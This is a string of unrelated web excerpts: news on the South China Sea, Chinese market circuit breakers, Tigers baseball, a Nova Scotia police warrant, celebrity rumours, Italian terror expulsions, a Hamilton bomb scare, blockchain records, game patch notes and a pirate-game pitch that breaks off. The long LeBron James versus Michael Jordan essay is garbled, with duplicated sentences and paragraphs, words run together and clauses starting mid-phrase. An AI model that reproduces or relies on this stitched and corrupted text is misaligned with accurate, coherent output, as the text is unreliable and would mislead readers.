at U.S. freedom of navigation operations near Chinese controlled islands in the disputed South China Sea, where China has been reclaiming land, building air bases and increasing its military presence. "While the U.S. Navy is becoming a dangerous obstacle in Asian waters, China has been making joint efforts with the members of the Association of Southeast Asian Nations to draw up a Code of Conduct for the South China Sea and it has boosted navigational safety by constructing five lighthouses on its islands," the China Daily said. "Anyone should be able to tell who is to blame for militarizing the waters and posing a threat to navigation." -Some saw the lighter side of the situation: A viral message Many are asking what the circuit breaker is about. A securities professional replied: It's like bringing 5,000 yuan to a card game and losing all of it in half an hour. You call a truce for 15 minutes and withdraw 7,000 yuan from the ATM in that time. After losing all of that money too, the winner says to you: You are just too unlucky, let's call it a day. Ming Liu We are still having our morning meeting, but securities firm employees already can go home. This shows that men should find jobs as dealers with their high salaries and short working hours; women should marry dealers for not only are their husbands well-paid with lots of vacation time, they would also have time to go to the mall and movies with you! Fernandeski-Bennett In the past, I used to have afternoon tea after the market closed. Now, I have tea in the morning. Llaiyuu After the Chinese stock markets introduced circuit breakers, I'm even more determined to work for a securities firm after I graduate. After all, I only have to work half an hour every day! - Follow CNBC International on Twitter and Facebook. Pauline Chiou contributed to this report. -LAKELAND, Fla. — Justin Verlander has not pitched in a game yet, but the early reviews have all been positive. Tigers catcher James McCann, who caught Verlander Thursday, is the latest. "He looked really good," McCann said. "Very live arm, ball was coming out really good, all four of his pitches." McCann does have a frame of reference for comparison’s sake. Last year he caught Verlander in Kansas City towards the end of the season. "Completely different guy," McCann said. "He pitched real well but that’s a different guy right there. The ball comes out different, he’s more confident. That’s the kind of Ver we need." OAKLAND CLAIMS SMITH When the Tigers re-signed Joba Chamberlain to a one-year deal, it meant less opportunity for some pitchers. For Chad Smith, it meant a completely new opportunity as the Tigers placed him on waivers to make room on the roster for Chamberlain. On Thursday, Tigers president and general manager Dave Dombrowski said the Oakland Athletics claimed Smith and Smith’s contract would be assigned to the A’s organization. "Really wish he would have made it through but you gotta take somebody off your roster at the time," Dombrowski said. Smith, 25, appeared a little dazed by the news after being in limbo for a couple of days. "When they told me the news, I was in shock," Smith said. "They took a chance on me back when I was in college, when I blew out my elbow. They were one of the few teams that still liked me so it’s hard. I’ve met so many great people and playing in Detroit was awesome. The fans were great. All-around, it was a first-class experience. Just kind of setting in now so it’s tough." Smith made his major league debut June 22 of last season at Cleveland. He made 10 appearances for the Tigers and had a 5.40 ERA, walking three and striking out nine. Smith said he and his agent hadn’t been optimistic that another team would pick him up as most rosters are set and there haven’t been any injuries. The A’s placed Taylor Thompson on the 60-day DL to make room for Smith. "It’s exciting that another team thought highly of me to pick me up," Smith said. "The timing of it, I know a lot of rosters are full so they obviously had to make a move on their end. It’s exciting. It’s a big league team in Oakland, I’m from California and spring training’s in Arizona. Get to go home." Smith said he’s been in contact with former Tiger Kevin Whelan, who is currently in A’s camp as a non-roster invitee. Smith planned to go back up his apartment and pack up before heading to Arizona tomorrow. LIFE OF A UTILITY PLAYER Don Kelly may not have been the best player in history but you had to respect his versatility. Every day Kelly would bring his multiple gloves to the field and take turns using each — ground balls in the infield, fly balls in the outfield. Now Andrew Romine and Hernan Perez, both battling for a utility role on the team, are trying to do the same. "It’s tough. It’s just extra work, stuff on top of what we practice," Romine said. "I’ll practice with the infielders but then either before, 7:30-8 o’clock in the morning or now, when we get done, I’ll be out there doing outfield stuff." Romine said outfield coach Dave Clark is not making it easy on them. "Clarkie’s kicking our butts," Romine said. "I think he secretly loves to kill us out there, which is good for us because we get a lot of good work in." Romine said everything is going well so far this spring. "It’s not like I never played outfield before," Romine said. "Just getting live reads off the bat in BP and stuff. When we’re taking live swings off our pitchers right now, just go out to the outfield and kind of read them. It feels good." ***If multimedia does not appear right away, please click refresh*** COMPLETE TIGERS SPRING TRAINING 2015 COVERAGE -New Glasgow police have issued a warrant for the arrest of a 34-year-old man after an incident where an officer was dragged several feet behind a car. Around 4:20 a.m. on Sunday New Glasgow police saw a man driving the wrong way along George Street in downtown New Glasgow. Two officers stopped the vehicle and approached it, suspecting the driver might be drunk. The driver fled and one of the officers was dragged from the car for three to five feet. EHS checked the officer at the scene and treated him for minor injuries. "Luckily the officer wasn't hurt further," said Const. Ken MacDonald of the New Glasgow Regional Police. Police pursued the suspect's vehicle but it evaded them in the Thorburn area. Police have issued an arrest warrant for Barrett Johnson Fraser, 34, and are asking for help from the public. Police say Fraser is facing charges of flight from police officers, dangerous operation of a motor vehicle, two counts of assault on police, and two counts of assault with a weapon. -After it was reported on November 24 that Sulli had gone to the emergency room for a wrist injury, various rumors began to circulate about the nature of the injury and Sulli’s relationship with Dynamic Duo’s Choiza. Although SM Entertainment had already stated that the injury was due to carelessness while at home, there were rumors that it had been a suicide attempt and that her relationship with Choiza was on the rocks. The Fact even claimed that Sulli had been drunk in the emergency room, citing an unnamed source from the Seoul University Hospital. The unnamed source also said that Sulli had denied any attempted suicide. However, the PR department of that hospital has already released an official statement stating that they cannot give out personal information on patients. Sulli and Choiza were quick to dispel the wild rumors, with Choiza’s agency Amoeba Culture stating, “There is a rumor going around that Choiza and Sulli’s relationship is on the rocks, but we have not heard anything. This is a personal affair between the two of them so we as a company will not be interfering in it.” In addition to their earlier statement, SM Entertainment stated, “The two of them are still in a good relationship.” Sulli also posted a selfie on her personal Instagram and wrote, “I got hurt by accident. I’m sorry for making you worry!” to reassure her fans. Source (1) (2) (3) (4) -The announcement came as security was raised after vehicle attacks in Barcelona and elsewhere, and a widely-reported warning from the Islamic State group that Italy is next on its hit list. Administrative expulsions, which are not subject to any appeal, are one of the main planks of Italy's strategy for preventing the kind of jihadist attacks suffered by other European countries. Sicily decided Saturday to introduce barriers preventing vehicular access to six pedestrianised areas of the island's capital Palermo, reflecting fears of truck attacks. Additional barriers are to be placed on potentially vulnerable locations in Milan, a meeting of regional security officials decided. The prefecture for the Rome region approved an increase in the number of guards for its major tourist sports and said it would step up monitoring of trucks moving around the capital. The latest individuals deported included a 38-year-old Moroccan said to have been radicalised while in prison for minor crimes. His status was bumped from medium to high risk after he and other prisoners were seen enthusiastically celebrating the Stockholm truck attack in April which killed five people. The Syrian, who also operated under a false Tunisian identity, was arrested in 2015 for involvement in illegal immigration and placed under house arrest at a centre for asylum seekers in southern Italy. There, he was caught celebrating the attack in May that killed 22 people, many of them children, at a concert in the British city of Manchester. The suspect, whose age was not released, had managed to avoid the fate of two previous expulsion orders issued in 2011. The third man expelled was a 31-year-old Moroccan whose expressions of support for IS were thought to be linked to a psychiatric disorder for which he received compulsory treatment after being arrested for theft. The interior ministry said all three had been flown back to their respective countries of origin. Italy is regularly threatened by IS propagandists. SITE, a private intelligence group which monitors extremist organisations, said Saturday it had picked up fresh online messages promising the country would be next to be targeted. Italian officials stress that they have yet to be alerted to an imminent, credible threat on its territory or against the Vatican. A government panel said in a report in January that Italy was less exposed than neighbouring countries to the risk of attacks carried out by homegrown radicals. -The NBA player who sits in the NBA’s throne for greatest of all time is not the one who goes by King James. All the accolades that have been heaped on the shoulders of the polarizing superstar that is LeBron James are well earned, but the three-time MVP still has his work cut out for him if he seeks the crown that sets him apart from the other elite players in NBA history. Michael Jordan is rightfully hailed as basketball’s GOAT. He embodies every characteristic that the greatest needs: elite technical skills, incredible athletic ability, and the potential to take over games as an individual. He transcended basketball and brought it to a level of popularity previously unseen by the game. No one can take that away from him, and LeBron will never be able to accomplish that same feat. But in terms of on-court prowess, LeBron James has the ability to dethrone Michael Jordan as the greatest player that the NBA has ever seen. And with one ring in his pocket, LeBron can now strive to immortalize himself in basketball history. Through a comparison of what both have already accomplished and some thoughts of what is to come for LeBron, there very well may be a new king in the near future. First, a statistical comparison of Michael and LeBron: Per game statistics LeBron James Michael Jordan Points 27.6 30.1 Rebounds 7.2 6.2 Assists 6.9 5.3 Steals 1.7 2.3 FG percentage .484 .497 3PT percentage .332 .327 Minutes 39.9 38.3 PER 27.3 27.9 eFG percentage .516 .509 These regular season numbers show the remarkable equality between the two players. LeBron certainly needs to have the longevity of MJ, which is undoubtedly history yet to be written, but these guys are nearly equal in all categories. LeBron’s PRA (points, rebounds, and assists combined) equate to 41.7. Jordan is virtually identical, at 41.6. Jordan has an edge in scoring ability, but LeBron’s overall offensive game is also based on a guard’s ability to facilitate. The number that should strike you as most shocking is three-point percentage. LeBron is often criticized for being a one-dimensional scorer whose sheer strength propels him to the basket, but he has a slightly higher 3PT percentage than Jordan. LeBron is often encapsulated in what people think he should be—in part probably with a desire to defend Jordan’s legacy. But looking at the numbers provides the foundation for the argument that one day the two can likely be prepared. Stats are the ticket to come in the door to the palace. But there is more to be done to overthrow the king. Defensively, Jordan has a DPOY award to his name—something LeBron has yet to add to his résumé. But nobody in their right mind would say Jordan is a far superior defensive player. At 6’8”, the 250-pound monster can compete with big men like David West in the 2012 NBA playoffs. Not only that, but LeBron has proven he can defend the quickest players in the NBA. Remember the game when he shut down the 2011 NBA MVP, point guard Derrick Rose? As LeBron said himself, defending power forwards and centers is taxing because of the physicality down low that is not necessary as a perimeter defender. Yet he still managed to put up staggering offensive numbers in 2012, when called upon to defend forwards/centers. And at 6’6”, Michael Jordan can never claim that diversity in ability to defend all five positions on the court. Even 6’9” point guard Magic Johnson was able to play the center position at a high level on the NBA’s biggest stage. (The two MJ’s both roughly weighed 220 pounds.) The edge defensively goes to LeBron—he can defend every position on the floor. Enough said. The true discrepancies between these two players come in with playoff pedigrees and awards. Jordan is still head and shoulders above LeBron when it comes to this comparison: LeBron James Michael Jordan 1x NBA champion 6x NBA champion 1x NBA Finals MVP 6x NBA Finals MVP 3x MVP 5x MVP 8x All-Star 14x All-Star NBA Rookie of the Year NBA Rookie of the Year 1x scoring champion 10x scoring champion 6x All-NBA First Team 10x All-NBA First Team 4x All-Defensive First Team 9x All-Defensive First Team he has time. Jordan’s 15-season career was shortened by his brief baseball stint, so if he stays healthy, LeBron very well could have a longer NBA career than Jordan did. LeBron has his work cut out for him to get on Michael’s level here. But in the nine-plus seasons that LeBron has been in the NBA, he not only has room before he catches up to Jordan, but. Jordan’s 15-season career was shortened by his brief baseball stint, so if he stays healthy, LeBron very well could have a longer NBA career than Jordan did. For the sake of argument, let’s give LeBron James nine more seasons—which is (hopefully for NBA fans) an underestimation. If he wins titles in three of those seasons, that puts him at four. And whenever LeBron wins a ring, that gives him a Finals MVP, too. There is no way that LeBron wins a title as the second best player on his team. He’s the best player in the game Three more MVPs is not an outrageous prediction for LeBron either, which puts him at six. The rest of the numbers will likely even out through the course of LeBron’s career, perhaps even giving him the edge. The only exception to this is the scoring titles. LeBron James will never come near Jordan’s ten titles and that is in no way a pre-requisite for the discussion of these two players. LeBron has teamed up with Dwyane Wade and Chris Bosh—players whose career PPG averages are 25 and 20, respectively. And this plays directly into LeBron’s sensational ability to create offense not only for himself but also for his teammates. Jordan only ever looked to one other player to create offense (Scottie Pippen). Toni Kukoc and John Paxson helped spread the floor for Jordan but really Jordan was option 1, 2, and 3…and for good reason! This leads to an argument that must be addressed: well, you might say, since LeBron is more of a facilitator and all-around player, he should be compared to Magic Johnson and Oscar Robertson, not Michael Jordan. all of the first four seasons of his career from 1961-64. The problem arises when looking at the era that Robertson played in. Statistics were staggering compared to today’s game. Furthermore, Robertson was not even the best player in the 60s: Bill Russell and Wilt Chamberlain each took home four NBA MVPs during the 60s. Sure, the comparison could be made since the Big-O averaged a triple double one season and was less than half a rebound or assist away from averaging one inof the first four seasons of his career from 1961-64. The problem arises when looking at the era that Robertson played in. Statistics were staggering compared to today’s game. Furthermore, Robertson was not even the best player in the 60s: Bill Russell and Wilt Chamberlaintook home four NBA MVPs during the 60s. In terms of playing style, compare these two all you want but the fact is this: LeBron is the best player in his generation. Oscar Robertson was no higher than the third best of his generation. can be made, but really who cares? Michael was the best player of his generation and LeBron is the best player of his generation. And if we’re going to compare the greatest player of all time, a pre-requisite is undoubtedly being the best player of your generation. As for Magic Johnson, the comparison againbe made, but really who cares? Michael was the best player of his generation and LeBron is the best player of his generation. And if we’re going to compare the greatest player of all time, a pre-requisite is undoubtedly being the best player of your generation. So, in this hypothetical situation that I have drawn up, LeBron has four Finals championships, four Finals MVPs, and six regular season MVP awards. He would probably surpass Jordan in All-NBA First Team and All-NBA First Defensive Team, too. These numbers would put LeBron on equal footing with Jordan. Now, to consider who is better overall involves looking at some of their best playoff performances. Granted, in order for LeBron to be in the same discussion as Jordan, he will have a larger body of work to compare to but for now comparing LeBron’s best two playoff performances to Jordan’s will prove just how close these guys really are. one more in six more seasons. Again, this is absolutely not to say that at this point LeBron is better but rather to just put it in perspective. Time is on LeBron’s side. LeBron has two spots in the top 10 greatest NBA playoff performances of all time. Jordan has three—or onlyinmore seasons. Again, this is absolutely not to say that at this point LeBron is better but rather to just put it in perspective. Time is on LeBron’s side. Now to look at the two best playoff performances in each players’ career: The “flu game” is something that has immortalized Jordan. Commercials vie for this moment, coaches use it as motivation, and it lives on as the definition in the NBA of perseverance. In Game 5 of the NBA Finals in 1997 vs. the Utah Jazz, Jordan put up 38 points in 44 minutes, along with seven rebounds, five assists, three steals, and a block. The pictures of him helped off the court and sipping Gatorade with a towel over his head are engrained in every NBA fans memory. It was historic. LeBron’s performance in Game 5 of the 2007 Eastern Conference finals was at least as memorable. 48 points, nine rebounds, seven assists, and two steals in 50 minutes played. He threw down dunk after dunk, a signature of LeBron (and a reason everybody wants to see him in the dunk contest on All-Star weekend). But the most memorable part was that he scored 29 of the final 30 points of the game. Against the Pistons. ESPN on this one, I’d take LeBron’s performance over Jordan’s. 29 of the final 30 points in the game? I’d love to see a basketball performance where someone was more unstoppable than this at the time when it matters most (fourth quarter and overtime). I disagree withon this one, I’d take LeBron’s performance over Jordan’s. 29 of the final 30 points in the game? I’d love to see a basketball performance where someone was more unstoppable than this at the time when it matters most (fourth quarter and overtime). Jordan’s Game 2 of the 1986 Eastern Conference first round was another defining moment in his career. Celtics Hall of Famer uttered seven of the most famous words in NBA history when asked about that game: “that was God disguised as Michael Jordan.” Jordan could fill up the stat sheet, too: playoff scoring record of 63 points in 53 minutes with five rebounds, six assists, three steals, and two blocks. And coming off a season that was largely lost to injury…it was remarkable. Maybe somewhere Derrick Rose is watching footage of this game, getting some ideas of his own… in Boston. I say this with complete seriousness: LeBron had the pressure of his career heaped on him in one game. The Heat were one game away from elimination and the criticism would have landed squarely on LeBron’s shoulders. LeBron haters were warming up their LeChoke chants. Skip Bayless was ready to rant. LeBron’s most amazing playoff performance came this year, in the 2012 Eastern Conference finals against the Celtics. I say this with complete seriousness: LeBron had the pressure of his career heaped on him in one game. The Heat were one game away from elimination and the criticism would have landed squarely on LeBron’s shoulders. LeBron haters were warming up their LeChoke chants. Skip Bayless was ready to rant. 45 points, 15 rebounds, and five assists later, the Heat moved on to Game 7. LeBron shot a nearly impossible 19 of 26. And it wasn’t just dunks and drives, as LeBron has proven he is best at. It was jumpers, banks, post-up shots, even three pointers. Another iconic performance. Let me use a baseball analogy to put this performance in perspective: The 2004 Boston Red Sox were fighting 86 years of failed history when they were playing the Yankees in the ALCS. Similarly, LeBron was facing a career with zero championships in the 2012 ECF. The Red Sox had their back to the wall in Game 4 of the ALCS, and like the Heat, it was win or go home. Facing Alex Rodriguez, the best hitter in the game (he went yard in Game 4, too, even though he has come to be known as a playoff choker), and Orlando Hernandez, a former Cy Young Award winner, it was looking bleak. But the Red Sox pulled it off, winning four straight games against the Yankees. It was unprecedented . Literally, such a feat had never been accomplished before. The takeaway from this that is relevant to the comparison to LeBron: the 2004 World Series champion Boston Red Sox were not defined by their sweep of the Cardinals in the World Series. The comeback in the ALCS vs. the Yankees was the propeller that flew the Red Sox to the Promised Land. It’s the path through adversity that defines the champion, not just the grand finale. Similarly, LeBron’s Game 6 performance made the statement that he had championship talent and desire. The argument that this performance was diminished because it wasn’t in the Finals does not hold up for the same reasons that the 2004 ALCS defined the eventual champion Red Sox.It’s the path through adversity that defines the champion, not just the grand finale. For those very reasons, I’ll take LeBron’s Game 6 performance over Jordan’s Game 2 or flu game. As for “clutch” storybook endings, LeBron and Jordan both have theirs. Somehow this is a requirement to be considered the greatest of all time because you need a moment that even non-basketball fans can say ‘wow, that guy is special.’ Jordan’s got the crossover of Bryon Russell when he sunk the free throw line jumper in the 1998 NBA Finals and LeBron’s got the fade-away three-pointer at the end of regulation in Game 2 of the Eastern Conference finals. Both were moments that you could capture in seconds and realize something about these guys just was not normal. As for overall “clutchness,” you can argue until the next Jordan or LeBron comes (if they ever do), that Jordan was more clutch for such-and-such reason but again, the numbers show the pair are surprisingly close in this regard—while Jordan still does have an edge. Chasing 23 names all of LeBron’s clutch shot makes (5) and attempts (12) through May 2012 which puts him at a 42 percent success rate. Jordan was names all of LeBron’s clutch shot makes (5) and attempts (12) through May 2012 which puts him at a 42 percent success rate. Jordan was 9 of 18 in his career in such situations, or a 50 percent success rate. Again, let’s give LeBron his full career but the dismissal of LeBron from the playing field of Jordan as GOAT is unwarranted and founded in 1) a desire to protect history or 2) simply a hatred of LeBron James. LeBron James has room to go before he can be in the consideration with Michael Jordan as the greatest player ever to hit the court. And even after both have retired, not even a judge could satisfy both sides unless LeBron goes on an absolutely historic tear to match his “not one, not two, not three, not four…” claim. While I personally think that was merely hyperbole, he did earn himself a lot of disrespect in that first public party in South Beach. -I promised monthly updates, so here I am to deliver! Let me start by introducing you to ‘Ivan’. With the introduction of Bertha it was imperative that the rebels come up with a counter. Created from some destroyed Bertha’s and a hollowed out cabin of an outdated MAV cockpit model, they were able to create ‘Ivan’. With performance stats similar to Bertha, the rebels stood a fighting chance! Seeing the arms race taking place, Wilson munitions seized the opportunity to increase their market share by deploying out a new line of heavy rockets as well! With all this firepower flying around, there was bound to be collateral damage. And this is just the start! In addition to the parts shown above, there are a few more I want you to discover on your own. There has been a large increase in the number of deployable parts, making the Engineer role a much more viable role to fill. Along with these part changes, there has been an update to all the destructible buildings in the game. When buildings explode, they will do damage to anything around them. Small, concrete buildings will barley even be felt. Standing next to an exploding 100ft tall gas tank? That’s going to hurt, a lot. In addition to doing damage, some buildings will leave a burning residue on the ground as well. This fire will spread to your MAV if you stand in it and will continue to do damage the whole time you are in it. It’s not a lot of damage, but it can turn the tide of the battle if you are not careful! Proper kill and damage credit is given if you destroy a building which then destroys another MAV. This counts for chain reactions as well! Speaking of doing damage on when exploding, mines have been given an explosion effect when you shoot them. They will also do damage to the surrounding area, though not nearly as much as if they were triggered normally. Getting into the smaller tweaks, there have been a few balance changes: -Turning rates have been increased on all biped, reverse joint, hover, and wheel chassis. The final amount depends the the chassis variation. -The uplink deployable item has been increased in size by 2X and had its durability reduced from 350 to 120 – Machine guns have been given a slight rate of fire reduction. HD versions have also been given a small boost to recoil and a larger rate of fire reduction from 370 shots per minute to 190 shots per minute. This makes the time to kill a full health base with 4 MINI-HD’s go from ~1 minute to ~2 minutes. -Cannons have received a large increase in damage. They are now the highest damage weapon in the game. They have also received a 4X increase in the projectile size, with new FX to match. For balance, the fire rate has decreased significantly and the projectile speed was reduced slightly. They are a very high skill, high reward weapon. -The high angle weapons have had a complete rework of the projectile physics. Before, projectiles could land hundreds of meters off from the listed range. They will now land within ~10 meters, every time. This has significantly changed the ‘feel’ of howitzers and rockets. -All Wheel chassis have been given a significant boost to energy generation -Turret deploys have had energy requirements increased, along with a re-balance on weights. Deployment cool down timers have generally increased as well. And for the fun bug fixes! Fixed multiplayer ‘barrel clearing’: This bug affected the shot velocity of the first shot of every weapon in multiplayer only. Now every shot will behave the same. Fixed crash bug when taking fire damage: When taking fire damage [or other very rapid damage] the health UI could enter an infinite race condition resulting in a hard crash or lockup. Fixed health UI not showing temporary damage bars when taking fire damage : Before when taking fire damage the health percentage would decrease, but the bar would stay static. Loading a MAV with locked parts will now result in an invalid build Failed build UI icon will now contain a tooltip showing all reasons for a MAV build to be failing. Known issues: In extreme cases, the flight path of rockets and howitzer rounds is… unexpected. Enjoy the new content! -This man is holding an image of a sword that doesn't exist in real life. In fact, it doesn't even really exist on a virtual world—he paid $16,000 for a game sword that he can't play yet. He got the virtual sword at an auction to celebrate the launch of a highly anticipated game called Age of Wulin. Set in ancient China, the players would be able to ramble through a beautifully detailed world crouching the tiger and hiding the dragon. Other items sold include a sheath for Hook of Departure—sold for $1,600—and a Lordly Spear Sheath—sold for $2,500. Advertisement It's going to be released in China soon, but it will not be available in English until Spring 2012, when all your base are belong to them. [Age of Wulin via Daily Mail] -A Google news search returns 5,240 results for “Ferguslie Park” over the last 24 hours. As compared to 0 mentions in the previous 24 hours. The media have, with an incredible level of unanimity, seized upon a Tory being elected to represent Ferguslie Park, “the most deprived area of Scotland”, as the leading evidence of a Tory resurgence into areas of Scotland “they could not previously venture into”. I have heard this recounted on every available broadcast platform this evening. I have two bits of news for the unionist media. Firstly, Ferguslie Park is in Paisley. Most of you think it is in Glasgow. Secondly there is no ward called Ferguslie Park. There is a place called Ferguslie Park, and it is less than half of a ward called Paisley Northwest. Now here is the result of that stunning Tory super-victory amazing spectacular miraculous shocking earth-shattering mould-breaking Tory triumph in Paisley Northwest. My, how the ground shook. In future years, everybody will recall just exactly where they were at the moment the Conservatives polled 13% in Paisley North West, when that vast uprising of 657 voters swept their candidate to victory on the 10th set of transfers into the fourth available slot in a multi-member constituency. Now, this will come as a shock to some people. Paisley North West is not a dreadful slum, and contains some distinctly prosperous areas. Much of the ward looks like this. Here are some statistics for the entire ward. 65% of households in Paisley North West are owner occupied 67% of the population of Paisley North West are employed, self employed or full time students 5.1% of the population of Paisley North West are unemployed 23% of the population of Paisley North West are pensioners 4.9% are housewives/husbands/carers or not in the labour force In a local election poll with a low turnout, there is a disproportionately high turnout from pensioners and from the wealthier districts. Very few indeed of those measly 657 Tory votes came from the Ferguslie Park estate. The real story is that in a ward with 65% owner-occupiers and 67% economically active, the Tories could still only manage a measly 13% of the vote. That the large majority of £350,000 owner occupiers do not vote Tory. The real story is that the SNP took 44% to the Tories 13%. But no, the march of Ruth’s 13%ers has apparently changed the course of history. As Tom Robinson once sang, “It’s there in the papers, must be the truth”. Liked this article? Please share using the links below. Then View Latest Posts -Two suspicious packages that were found at Gower Park last week. An item made of metal piping with protruding wires placed under the bowl of a public toilet is the latest in a string of suspicious items requiring bomb squad action in Hamilton. In the last six months the Auckland-based bomb squad has been called in to deal with four suspicious items located in different public locations around the city. Last Thursday the central city shopping mall was evacuated for almost four hours after a suspicious package was delivered to the ANZ Bank at Centre Place. Bruce Mercer Auckland's Defence Force team set up a robot at Gower Park, Hamilton, where a suspicious package was found this morning. The latest incident on Monday involved an unusual piece of metal piping police say was purposely made to look like an explosive device and placed in the toilet block at the park in Hamilton Lake area. Hamilton police Senior Sergeant Neil Faulkner said police received a call from Hamilton City Council staff who found a suspicious item in the women's toilet about 8.30am Monday. "It was described as being a pipe with wires coming out of it, placed underneath one of the toilet bowls in the women's toilet." Police set up a 200 metre cordon around the toilet block on the Sandleigh Rd side of the park, below Waikato Hospital, and halted motorists and pedestrians entering via Hibiscus Ave. Residents of about 10 houses in the cul-du-sac on Sandleigh Rd were told to stay inside their homes while the Auckland-based Defence Force team dealt with the item. "It is the normal operating procedure when dealing with a suspicious package until the defence force have assessed it," said Faulkner. "We make an assessment of the information that we have and decided to get the Defence Force to neutralise the item." The bomb squad team arrived in a white van at the quiet park, lined with hospital workers' cars about 11am. About 20 minutes later a robot was deployed from the rear of the van into the building where the item was located in a small stall. "They have tried to use the robot to go in there with cameras to take a look at the device and neutralise it if needed," said Faulkner. "However, due to the close proximity of the walls and the cubicle they were unable to manoeuvre it sufficiently so they have done a manual approach." One of the senior bomb squad members adorned in a specialist protective suit was sent into the cubicle to manually neutralise the item, said Faulkner. "They are a specialist unit and luckily we had one of the main guys who was able to deal with it. They have a device that fires a water shot through it and blows it to pieces basically." "We had a number of other contingencies here - fire and gas - in case something eventuated that was outside of our control." Maddie Cambort was visiting friends on Sandleigh Rd when she heard a loud bang about 12.15pm. "It was really, really loud, sounded like a gunshot wound. The glass shook a little." Faulkner said the item, which was being investigated by Waikato CIB, had been purposely made to look suspicious. "It was made to look like an IED - Improvised Explosive Device - but initial thoughts from the Defence Force are that it probably is not going to cause any danger to the public as it was." Hamilton City Council Parks and Open Spaces Manager Sally Sheedy said the toilet blocks were open from 7.30am to 7.30pm daily. Outside of those hours only authorised council staff had access. The item had likely been placed in the toilet sometime between Sunday morning and Monday, said Faulkner. "It was there this morning, so it could have been anytime between when it was cleaned [Sunday] and when the doors were locked last night." The bomb squad had recently used the robot to destroy a suspicious bag that had been found abandoned in the Hamilton IRD building on Bryce St. Police later tracked down the owner of the small blue bag left in the foyer who said she had forgotten she left it there. Back in December the bomb squad were again called in to deal with a suspicious item discovered outside Davies Medical Centre on Hukanui Rd. University of Waikato political scientist Dr Colm McKeogh said there was a heightened sensitivity to security threats in today's climate. "There's been two bomb scares in Hamilton, the IRD, which turned out to be innocuous and Centre Place and the one today is either a bomb scare or a threat. We don't know yet." "Plus there's been the 1080 milk powder threat and the Lindt Café in Sydney..[which] brought it much closer to home the possibility that it could happen here." The response from the Defence Force and police was sometimes inconvenient for residents, but warranted in all cases due to what was happening with the Islamic State and the recent domestic threats made to milk powder, he said. "The Defence Force is more aware of bomb scares in New Zealand and there's good grounds. At the moment they have to take them seriously because of what's happening nationally and internationally." "It's a safe place (Hamilton) but it takes only one incident to shatter that belief." Police said all three recent events are being treated as unrelated and all items were assessed as not being dangerous. -When we first caught wind of Sensic's head-tracking 3D Smart goggles a few days ago , we couldn't help but think of it as a Sony HMZ-T1 on Android-flavored steroids. We've just spent some time with the prototype here on the show floor playing a virtual demo that had us smashing buildings in a virtual world -- notably running entirely on the headset, thanks (in part) to its 1.2GHZ dual-core CPU. If you can't tell from the picture, the headset is absolutely massive. In-hand it's quiet hefty, but once it engulfed our noggin, we found that it was actually quiet well-balanced and comfortable, to the point that we almost forget that it was on our head -- almost. Notably, this proto is a "one size fits all" type deal rght now, so we did have to wrap a circle-scarf around our head to keep its 1280 x 1024 screens within our eyes view. Thankfully, our horn-rimmed glasses did fit inside with no issue.So, what's it like? An array of cameras on it's face scan the environment to react to your heads position and any movement you make. We were able to spin, tilt, walk around and even jump, with the virtual world on screen following suite -- all while looking like a confused and lost puppy to anyone passing by. We're told video refreshes at 60hz, but sadly, we were faced with stuttery visuals in our use. The unit is also capable of tracking hand movements, but we can't say we were able to make use of the privilege -- instead, a controller made up for the interim. Considering that Sensic's head-tracking 3D goggles do all of the above in a completely self-contained fashion, we can't help but think that there's lots of potential for the tech. The question remains, however, as to whether the experience and the hardware can be smoothed to bring the Minority Report -style of AR closer to a retail reality. Head on past the break for a video of us trying out Sensic's headset for ourselves-- trust us, you're in for a treat. -The electronic currency Bitcoin works because of encryption and a blockchain -- a widely accessible, distributed record of everyone who has created, accessed or altered a given file. Bitcoin's blockchain tracks who has had each Bitcoin, verifies its authenticity, and so on. This technology, however, has much broader applications. As governments move to release more data and documents online, verifying the authenticity of those files will become increasingly important. In the future, governments could use blockchains to track and verify the ownership of property records, banking records, securities or anything else posted on an open data platform. Brian Forde, the director of the MIT Media Lab's Digital Currency Initiative, explores the concept in the video below. By 2020, using blockchain technology might even become a best practice for the verification of public records online. Makes sense, @digiphile. You could be right. — Jessica Rosenworcel (@JRosenworcel) August 31, 2015 "Property records, particularly in the developing world, are notoriously subject to hacking," Oliver Goodenough, a professor at Vermont Law School, observed in an interview. "Honduras got money to do an electronic record land registry, but when they were done, many key properties were held by relatives of people who set up the ledger. Now, a contract was awarded to a company in Texas to set up a blockchain-based property system." That example and others are drawing attention in other contexts, from countries around the world. In the United States, the blockchain might be a way of validating voter records before and after elections, making entries perusable and insulating them from fraud. It might also be relevant to securities, adding a technological component that would make fraud by corrupt officials much harder. Given how blockchain technology has matured in recent years, Goodenough says it's just going to require hard work to get it into use -- and he hopes that Vermont will be a leader in that area. "This could give sunshine and make it very hard to screw the system," he told me. "The blockchain will not cook us breakfast, but it might tell us who cooked breakfast." For more, watch Goodenough's talk earlier this year at Stanford (embedded below) on the state of legal technology: Governments haven't been the biggest fans of Bitcoin, given the use of the cryptocurrency on the shadier parts of the Internet, including drug deals on the Deep Web. But at least one recognizes the potential of blockchains. This summer, Vermont took a couple of step toward smart contracts, agreements that contain technology that automatically tracks versions and authors. On June 3, Peter Shumlin, the state's governor, signed an economic development act into law that commissioned a report on the opportunities and risks of using blockchain technology to validate public records and "electronic facts." An amendment to the economic development bill submitted by state Sen. Becca Balint suggested that "blockchain technology shall be a recognized practice for the verification of a fact or record, and those facts or records established through a valid blockchain technology process shall have a presumption of validity for matters to be determined subject to, or in accordance with, the laws of the State of Vermont." "This study will provide reasonable recognition for the blockchain as a way to establish facts, providing a rebuttable presumption that the fact was true," Goodenough, who drafted the amendment, told The Huffington Post. "We are just establishing legal recognition that this is a way of establishing evidence." Goodenough, who directs the Center for Legal Innovation at the Vermont School of Law, has been researching the potential of smart contracts and automated securities that can automatically record who has accessed, changed or traded them. -Everybody who likes pirates (and who doesn't like pirates?) has a pitch for the ideal game about them. We carry our imaginary game around with us, close to our rum-soaked hearts. It's got to be open world of course, because what's the point of the horizon if you can't have it brought to you? The romance of being a pirate is all about freedom. It's also about stabbing people. There needs to be good stabbing, and pistol-shooting as well, and belting out a good “har har!” while you do it. You want swinging onto someone else's deck and swashbuckling away to be joyous. Blasting enemies from a distance with cannon fire is Pirating 101. Duelling with swords and also with sails, some kind of system for using the wind against opponents and lining up broadsides, more tactical than the wild to-and-fro of close combat. Oh, and we'll also need a robust economic simulation, please. What's the point of killing people and stealing their stuff if that stuff can't be sold at port? That leads to profit, so there need to be ways of upgrading ships and buying whole new ones with those profits, as well as managing the crew. Maybe something abstract for the bulk of yer maties, but if the officers could be BioWare-style companions with their own dark secrets to uncover and loyalty missions to undertake that'd be swell. Sounds perfect. Why doesn't it exist already? Here's a game we can probably agree is a good one: 